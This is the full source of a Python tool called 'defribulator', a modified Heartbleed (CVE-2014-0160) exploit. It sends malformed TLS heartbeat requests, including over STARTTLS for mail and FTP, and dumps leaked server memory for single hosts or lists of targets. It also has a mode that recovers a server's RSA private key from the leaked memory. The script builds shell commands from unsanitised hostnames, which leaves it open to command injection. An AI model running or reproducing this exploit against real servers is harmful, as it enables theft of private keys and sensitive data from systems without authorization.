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- #!/usr/bin/python
- # Modified by Travis Lee
- # Last Updated: 4/21/14
- # Version 1.16
- #
- # -changed output to display text only instead of hexdump and made it easier to read
- # -added option to specify number of times to connect to server (to get more data)
- # -added option to send STARTTLS command for use with SMTP/POP/IMAP/FTP/etc...
- # -added option to specify an input file of multiple hosts, line delimited, with or without a port specified (host:port)
- # -added option to have verbose output
- # -added capability to automatically check if STARTTLS/STLS/AUTH TLS is supported when smtp/pop/imap/ftp ports are entered and automatically send appropriate command
- # -added option for hex output
- # -added option to output raw data to a file
- # -added option to output ascii data to a file
- # -added option to not display returned data on screen (good if doing many iterations and outputting to a file)
- # -added tls version auto-detection
- # -added an extract rsa private key mode (orig code from epixoip. will exit script when found and enables -d (do not display returned data on screen)
- # -requires following modules: gmpy, pyasn1
- # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
- # The author disclaims copyright to this source code.
- import sys
- import struct
- import socket
- import time
- import select
- import re
- import time
- import os
- from optparse import OptionParser
- options = OptionParser(usage='%prog server [options]', description='Test and exploit TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)')
- options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
- options.add_option('-n', '--num', type='int', default=1, help='Number of times to connect/loop (default: 1)')
- options.add_option('-s', '--starttls', action="store_true", dest="starttls", help='Issue STARTTLS command for SMTP/POP/IMAP/FTP/etc...')
- options.add_option('-f', '--filein', type='str', help='Specify input file, line delimited, IPs or hostnames or IP:port or hostname:port')
- options.add_option('-v', '--verbose', action="store_true", dest="verbose", help='Enable verbose output')
- options.add_option('-x', '--hexdump', action="store_true", dest="hexdump", help='Enable hex output')
- options.add_option('-r', '--rawoutfile', type='str', help='Dump the raw memory contents to a file')
- options.add_option('-a', '--asciioutfile', type='str', help='Dump the ascii contents to a file')
- options.add_option('-d', '--donotdisplay', action="store_true", dest="donotdisplay", help='Do not display returned data on screen')
- options.add_option('-e', '--extractkey', action="store_true", dest="extractkey", help='Attempt to extract RSA Private Key, will exit when found. Choosing this enables -d, do not display returned data on screen.')
- opts, args = options.parse_args()
- if opts.extractkey:
- import base64, gmpy
- from pyasn1.codec.der import encoder
- from pyasn1.type.univ import *
- def hex2bin(arr):
- return ''.join('{:02x}'.format(x) for x in arr).decode('hex')
- tls_versions = {0x01:'TLSv1.0',0x02:'TLSv1.1',0x03:'TLSv1.2'}
- def build_client_hello(tls_ver):
- client_hello = [
- # TLS header ( 5 bytes)
- 0x16, # Content type (0x16 for handshake)
- 0x03, tls_ver, # TLS Version
- 0x00, 0xdc, # Length
- # Handshake header
- 0x01, # Type (0x01 for ClientHello)
- 0x00, 0x00, 0xd8, # Length
- 0x03, tls_ver, # TLS Version
- # Random (32 byte)
- 0x53, 0x43, 0x5b, 0x90, 0x9d, 0x9b, 0x72, 0x0b,
- 0xbc, 0x0c, 0xbc, 0x2b, 0x92, 0xa8, 0x48, 0x97,
- 0xcf, 0xbd, 0x39, 0x04, 0xcc, 0x16, 0x0a, 0x85,
- 0x03, 0x90, 0x9f, 0x77, 0x04, 0x33, 0xd4, 0xde,
- 0x00, # Session ID length
- 0x00, 0x66, # Cipher suites length
- # Cipher suites (51 suites)
- 0xc0, 0x14, 0xc0, 0x0a, 0xc0, 0x22, 0xc0, 0x21,
- 0x00, 0x39, 0x00, 0x38, 0x00, 0x88, 0x00, 0x87,
- 0xc0, 0x0f, 0xc0, 0x05, 0x00, 0x35, 0x00, 0x84,
- 0xc0, 0x12, 0xc0, 0x08, 0xc0, 0x1c, 0xc0, 0x1b,
- 0x00, 0x16, 0x00, 0x13, 0xc0, 0x0d, 0xc0, 0x03,
- 0x00, 0x0a, 0xc0, 0x13, 0xc0, 0x09, 0xc0, 0x1f,
- 0xc0, 0x1e, 0x00, 0x33, 0x00, 0x32, 0x00, 0x9a,
- 0x00, 0x99, 0x00, 0x45, 0x00, 0x44, 0xc0, 0x0e,
- 0xc0, 0x04, 0x00, 0x2f, 0x00, 0x96, 0x00, 0x41,
- 0xc0, 0x11, 0xc0, 0x07, 0xc0, 0x0c, 0xc0, 0x02,
- 0x00, 0x05, 0x00, 0x04, 0x00, 0x15, 0x00, 0x12,
- 0x00, 0x09, 0x00, 0x14, 0x00, 0x11, 0x00, 0x08,
- 0x00, 0x06, 0x00, 0x03, 0x00, 0xff,
- 0x01, # Compression methods length
- 0x00, # Compression method (0x00 for NULL)
- 0x00, 0x49, # Extensions length
- # Extension: ec_point_formats
- 0x00, 0x0b, 0x00, 0x04, 0x03, 0x00, 0x01, 0x02,
- # Extension: elliptic_curves
- 0x00, 0x0a, 0x00, 0x34, 0x00, 0x32, 0x00, 0x0e,
- 0x00, 0x0d, 0x00, 0x19, 0x00, 0x0b, 0x00, 0x0c,
- 0x00, 0x18, 0x00, 0x09, 0x00, 0x0a, 0x00, 0x16,
- 0x00, 0x17, 0x00, 0x08, 0x00, 0x06, 0x00, 0x07,
- 0x00, 0x14, 0x00, 0x15, 0x00, 0x04, 0x00, 0x05,
- 0x00, 0x12, 0x00, 0x13, 0x00, 0x01, 0x00, 0x02,
- 0x00, 0x03, 0x00, 0x0f, 0x00, 0x10, 0x00, 0x11,
- # Extension: SessionTicket TLS
- 0x00, 0x23, 0x00, 0x00,
- # Extension: Heartbeat
- 0x00, 0x0f, 0x00, 0x01, 0x01
- ]
- return client_hello
- def build_heartbeat(tls_ver):
- heartbeat = [
- 0x18, # Content Type (Heartbeat)
- 0x03, tls_ver, # TLS version
- 0x00, 0x03, # Length
- # Payload
- 0x01, # Type (Request)
- 0x40, 0x00 # Payload length
- ]
- return heartbeat
- if opts.rawoutfile:
- rawfileOUT = open(opts.rawoutfile, "a")
- if opts.asciioutfile:
- asciifileOUT = open(opts.asciioutfile, "a")
- if opts.extractkey:
- opts.donotdisplay = True
- def hexdump(s):
- pdat = ''
- hexd = ''
- for b in xrange(0, len(s), 16):
- lin = [c for c in s[b : b + 16]]
- if opts.hexdump:
- hxdat = ' '.join('%02X' % ord(c) for c in lin)
- pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
- hexd += ' %04x: %-48s %s\n' % (b, hxdat, pdat)
- else:
- pdat += ''.join((c if ((32 <= ord(c) <= 126) or (ord(c) == 10) or (ord(c) == 13)) else '.' )for c in lin)
- if opts.hexdump:
- return hexd
- else:
- pdat = re.sub(r'([.]{50,})', '', pdat)
- if opts.asciioutfile:
- asciifileOUT.write(pdat)
- return pdat
- def rcv_tls_record(s):
- try:
- tls_header = s.recv(5)
- if not tls_header:
- print 'Unexpected EOF (header)'
- return None,None,None
- typ,ver,length = struct.unpack('>BHH',tls_header)
- message = ''
- while len(message) != length:
- message += s.recv(length-len(message))
- if not message:
- print 'Unexpected EOF (message)'
- return None,None,None
- if opts.verbose:
- print 'Received message: type = {}, version = {}, length = {}'.format(typ,hex(ver),length,)
- return typ,ver,message
- except Exception as e:
- print "\nError Receiving Record! " + str(e)
- return None,None,None
- def hit_hb(s, targ, firstrun, supported):
- s.send(hex2bin(build_heartbeat(supported)))
- while True:
- typ, ver, pay = rcv_tls_record(s)
- if typ is None:
- print 'No heartbeat response received, server likely not vulnerable'
- return ''
- if typ == 24:
- if opts.verbose:
- print 'Received heartbeat response...'
- if len(pay) > 3:
- if firstrun or opts.verbose:
- print '\nWARNING: ' + targ + ':' + str(opts.port) + ' returned more data than it should - server is vulnerable!'
- gg = open('out.txt','a')
- gg.write(targ+'\n')
- gg.close()
- if opts.rawoutfile:
- rawfileOUT.write(pay)
- if opts.extractkey:
- return pay
- else:
- return hexdump(pay)
- else:
- print 'Server processed malformed heartbeat, but did not return any extra data.'
- if typ == 21:
- print 'Received alert:'
- return hexdump(pay)
- print 'Server returned error, likely not vulnerable'
- return ''
- def conn(targ, port):
- try:
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sys.stdout.flush()
- s.settimeout(10)
- #time.sleep(0.2)
- s.connect((targ, port))
- return s
- except Exception as e:
- print "Connection Error! " + str(e)
- return None
- def bleed(targ, port):
- try:
- res = ''
- firstrun = True
- print '\n##################################################################'
- print 'Connecting to: ' + targ + ':' + str(port) + ', ' + str(opts.num) + ' times'
- for x in range(0, opts.num):
- if x > 0:
- firstrun = False
- if x == 0 and opts.extractkey:
- print "Attempting to extract private key from returned data..."
- if not os.path.exists('./hb-certs'):
- os.makedirs('./hb-certs')
- print '\nGrabbing public cert from: ' + targ + ':' + str(port) + '\n'
- os.system('echo | openssl s_client -connect ' + targ + ':' + str(port) + ' -showcerts | openssl x509 > hb-certs/sslcert_' + targ + '.pem')
- print '\nExtracting modulus from cert...\n'
- os.system('openssl x509 -pubkey -noout -in hb-certs/sslcert_' + targ + '.pem > hb-certs/sslcert_' + targ + '_pubkey.pem')
- output = os.popen('openssl x509 -in hb-certs/sslcert_' + targ + '.pem -modulus -noout | cut -d= -f2')
- modulus = output.read()
- s = conn(targ, port)
- if not s:
- continue
- # send starttls command if specified as an option or if common smtp/pop3/imap ports are used
- if (opts.starttls) or (port in {25, 587, 110, 143, 21}):
- stls = False
- atls = False
- # check if smtp supports starttls/stls
- if port in {25, 587}:
- print 'SMTP Port... Checking for STARTTLS Capability...'
- check = s.recv(1024)
- s.send("EHLO someone.org\n")
- sys.stdout.flush()
- check += s.recv(1024)
- if opts.verbose:
- print check
- if "STARTTLS" in check:
- opts.starttls = True
- print "STARTTLS command found"
- elif "STLS" in check:
- opts.starttls = True
- stls = True
- print "STLS command found"
- else:
- print "STARTTLS command NOT found!"
- print '##################################################################'
- return
- # check if pop3/imap supports starttls/stls
- elif port in {110, 143}:
- print 'POP3/IMAP4 Port... Checking for STARTTLS Capability...'
- check = s.recv(1024)
- if port == 110:
- s.send("CAPA\n")
- if port == 143:
- s.send("CAPABILITY\n")
- sys.stdout.flush()
- check += s.recv(1024)
- if opts.verbose:
- print check
- if "STARTTLS" in check:
- opts.starttls = True
- print "STARTTLS command found"
- elif "STLS" in check:
- opts.starttls = True
- stls = True
- print "STLS command found"
- else:
- print "STARTTLS command NOT found!"
- print '##################################################################'
- return
- # check if ftp supports auth tls/starttls
- elif port in {21}:
- print 'FTP Port... Checking for AUTH TLS Capability...'
- check = s.recv(1024)
- s.send("FEAT\n")
- sys.stdout.flush()
- check += s.recv(1024)
- if opts.verbose:
- print check
- if "STARTTLS" in check:
- opts.starttls = True
- print "STARTTLS command found"
- elif "AUTH TLS" in check:
- opts.starttls = True
- atls = True
- print "AUTH TLS command found"
- else:
- print "STARTTLS command NOT found!"
- print '##################################################################'
- return
- # send appropriate tls command if supported
- if opts.starttls:
- sys.stdout.flush()
- if stls:
- print 'Sending STLS Command...'
- s.send("STLS\n")
- elif atls:
- print 'Sending AUTH TLS Command...'
- s.send("AUTH TLS\n")
- else:
- print 'Sending STARTTLS Command...'
- s.send("STARTTLS\n")
- if opts.verbose:
- print 'Waiting for reply...'
- sys.stdout.flush()
- rcv_tls_record(s)
- supported = False
- for num,tlsver in tls_versions.items():
- if firstrun:
- print 'Sending Client Hello for {}'.format(tlsver)
- s.send(hex2bin(build_client_hello(num)))
- if opts.verbose:
- print 'Waiting for Server Hello...'
- while True:
- typ,ver,message = rcv_tls_record(s)
- if not typ:
- if opts.verbose:
- print 'Server closed connection without sending ServerHello for {}'.format(tlsver)
- s.close()
- s = conn(targ, port)
- break
- if typ == 22 and ord(message[0]) == 0x0E:
- if firstrun:
- print 'Received Server Hello for {}'.format(tlsver)
- supported = True
- break
- if supported: break
- if not supported:
- print '\nError! No TLS versions supported!'
- print '##################################################################'
- return
- if opts.verbose:
- print '\nSending heartbeat request...'
- sys.stdout.flush()
- keyfound = False
- if opts.extractkey:
- res = hit_hb(s, targ, firstrun, supported)
- if res == '':
- continue
- keyfound = extractkey(targ, res, modulus)
- else:
- res += hit_hb(s, targ, firstrun, supported)
- s.close()
- if keyfound:
- sys.exit(0)
- else:
- sys.stdout.write('\rPlease wait... connection attempt ' + str(x+1) + ' of ' + str(opts.num))
- sys.stdout.flush()
- print '\n##################################################################'
- print
- return res
- except Exception as e:
- print "Error! " + str(e)
- print '##################################################################'
- print
- def extractkey(host, chunk, modulus):
- #print "\nChecking for private key...\n"
- n = int (modulus, 16)
- keysize = n.bit_length() / 16
- for offset in xrange (0, len (chunk) - keysize):
- p = long (''.join (["%02x" % ord (chunk[x]) for x in xrange (offset + keysize - 1, offset - 1, -1)]).strip(), 16)
- if gmpy.is_prime (p) and p != n and n % p == 0:
- if opts.verbose:
- print '\n\nFound prime: ' + str(p)
- e = 65537
- q = n / p
- phi = (p - 1) * (q - 1)
- d = gmpy.invert (e, phi)
- dp = d % (p - 1)
- dq = d % (q - 1)
- qinv = gmpy.invert (q, p)
- seq = Sequence()
- for x in [0, n, e, d, p, q, dp, dq, qinv]:
- seq.setComponentByPosition (len (seq), Integer (x))
- print "\n\n-----BEGIN RSA PRIVATE KEY-----\n%s-----END RSA PRIVATE KEY-----\n\n" % base64.encodestring(encoder.encode (seq))
- privkeydump = open("hb-certs/privkey_" + host + ".dmp", "a")
- privkeydump.write(chunk)
- return True
- else:
- return False
- def main():
- print "\ndefribulator v1.16"
- print "A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)"
- allresults = ''
- # if a file is specified, loop through file
- if opts.filein:
- fileIN = open(opts.filein, "r")
- for line in fileIN:
- targetinfo = line.strip().split(":")
- if len(targetinfo) > 1:
- allresults = bleed(targetinfo[0], int(targetinfo[1]))
- else:
- allresults = bleed(targetinfo[0], opts.port)
- if allresults and (not opts.donotdisplay):
- print '%s' % (allresults)
- fileIN.close()
- else:
- if len(args) < 1:
- options.print_help()
- return
- allresults = bleed(args[0], opts.port)
- if allresults and (not opts.donotdisplay):
- print '%s' % (allresults)
- print
- if opts.rawoutfile:
- rawfileOUT.close()
- if opts.asciioutfile:
- asciifileOUT.close()
- if __name__ == '__main__':
- main()
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